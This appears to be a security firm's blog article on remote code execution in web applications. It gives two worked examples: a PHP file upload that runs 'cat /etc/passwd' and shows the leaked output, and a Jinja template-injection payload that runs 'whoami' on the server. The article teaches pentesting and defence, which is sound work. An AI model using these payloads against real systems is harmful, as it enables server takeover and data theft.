Exploiting a RCE vulnerability for a pentester is something of a Holy Grail. Depending on the context, there are numerous techniques for executing code remotely and thus exploit a RCE.
Beyond the principle of this type of vulnerability, we present in this article examples of RCE attacks and exploitations, as well as best practices and measures to implement to protect yourself.
Remote Code Execution (RCE) is a vulnerability that allows an attacker to execute arbitrary code on a target computing device. As its name suggests, this attack is carried out remotely with no physical access.
The impact of RCE attacks will depend on the environment of the compromised computing device and the attacker’s intentions. Often, the RCE is the entry point and leads to other attacks.
This can range from a simple data leak to the complete takeover. Here is a list of concrete examples of RCE exploitation:
Given the potential impact, this type of vulnerability is almost always considered critical.
The term RCE covers all existing types of vulnerability leading to code execution. The causes can therefore be multiple.
For example, we can point to the following cases:
In the remainder of this article, we will focus on RCEs linked to web vulnerabilities.
As you will have realised, the detection methods differ depending on the type of vulnerability enabling code execution.
To exploit a CVE, the attacker simply needs to detect the version of the components used by the server and look to see if an RCE-type vulnerability is associated with it. In this case, detection and exploitation can often be automated.
However, when it comes to platform-specific vulnerabilities, there is no predefined method. The idea is to analyse the functionalities that are accessible and try to use them in unexpected ways. Furthermore, on web applications, certain functionalities are more often associated with RCEs than others, in particular :
However, it is important not to stop at this list, as it depends on your application. If you have access to the solution’s source code, you can, for example, look for occurrences of functions that are known to be vulnerable if they are used with user-controllable data (the ‘eval’ function in PHP, for example).
Let’s move on to some practical examples.
A classic case of RCE is that linked to the uploading of arbitrary files. However, this is becoming rarer with the use of buckets in the cloud for file storage.
In this scenario, a PHP web application offers the user a feature for uploading images. These images are stored in a “/uploads/images/” folder at the root of the web server. The files are not verified or renamed. Execution rights are left on the folder containing the files.
HTTP request:
POST /upload HTTP/1.1
Host: test.vaadata.com
Content-Type: multipart/form-data; boundary=---------------------------23970119286181897661102571495
Content-Length: 262
-----------------------------23970119286181897661102571495
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: image/jpeg
<?php
system("cat /etc/passwd");
?>
-----------------------------23970119286181897661102571495—
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
[REDACTED]
Image path <a href=’./uploads/images’>rce.php</a>
[REDACTED]
The code sent in the above request can be used to execute the “cat /etc/password” command on the system if the PHP code is interpreted.
In the server response, we can see the path where the file was uploaded. The fact that the response is a “200 OK” shows that there is no check on the type of file transmitted.
If we go to the “rce.php” file, the PHP code is interpreted and we can read the contents of the “/etc/passwd” file:
GET /upload/images/rce.php HTTP/1.1
Host: test.vaadata.com
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 21 Apr 2023 12:57:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Vary: Accept-Encoding
Content-Length: 802
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
[REDACTED]
The vulnerability lies in the fact that the server does not check the type of file transmitted. An attacker can upload a PHP file containing malicious code. As the “/upload/images” folder contains files with execution rights and is directly accessible from the browser, the PHP files it contains are automatically interpreted by the server when a user accesses it.
The attacker can therefore send any PHP code. The RCE is proven.
The next step for an attacker is generally to create a reverse shell, i.e. to redirect the input and output of a shell on the target machine to the attacker’s machine in order to perform remote system commands. The attacker then propagates to the targeted system and any adjacent machines.
The case described in the following vulnerability is an RCE discovered during a white-box pentest. It is an RCE linked to processing carried out by the server when an audio or video file is uploaded.
We have written a detailed write-up on this exploit, which you can consult via the link below:
RCE vulnerability in a file name
During an audit, we tested an application that allowed employees to personalise emails sent to customers.
This application used a template engine to separate the visual presentation (HTML, CSS, etc.) from the application logic (PHP, Python, etc.). These engines are used to create model files (templates) in the application.
Templates are a mixture of fixed data (layout) and dynamic data (variables). In this case, the application used the Jinja template engine and the email personalisation functionality used these templates.
However, the user data was not correctly processed, allowing the pentesters to inject arbitrary directives to manipulate the template engine within the personalised emails.
Indeed, when personalising an email, the application displayed the rendering of the email once it had been personalised, making it possible to retrieve the results of the command executed on the underlying system, following the injection.
Thus, the following request enable us to inject a load specifically designed to execute a command on the server when the application’s template engine interprets the personalised email to display the rendering to the user:
HTTP request:
POST /emails HTTP/1.1
Host: ssti.vaadata.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 273
Connection: close
email_to=pentest%40vaadata.com&content=Hello+{{customer.name}}+{%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen("whoami").read()}}{%25endif%25}{%25+endfor+%25}&action=preview
The directive sent in the request above allows the “whoami” command to be executed on the system if the template engine interprets the code. In the server response below, we can see that the directive has been interpreted by the template engine and that the “whoami” command has returned the value “www-data”.
Response:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 4043
Server: Werkzeug
Date: Fri, 18 Aug 2023 07:47:02 GMT
[REDACTED]
<div>
Hello Pentester www-data
[REDACTED]
Here, the vulnerability arises from the fact that user data is interpreted directly by the template engine (as dynamic data), instead of being integrated as fixed data.
This means that an attacker can execute arbitrary commands on the underlying server in order to compromise it. The attacker can then attempt to compromise the application’s database, recover its source code and carry out attacks against the company’s internal IT system.
Remote Code Execution cover a wide range of different vulnerabilities. It is therefore complex to give precise technical recommendations.
Nevertheless, here are a few principles :
Author: Yoan MONTOYA – Pentester @Vaadata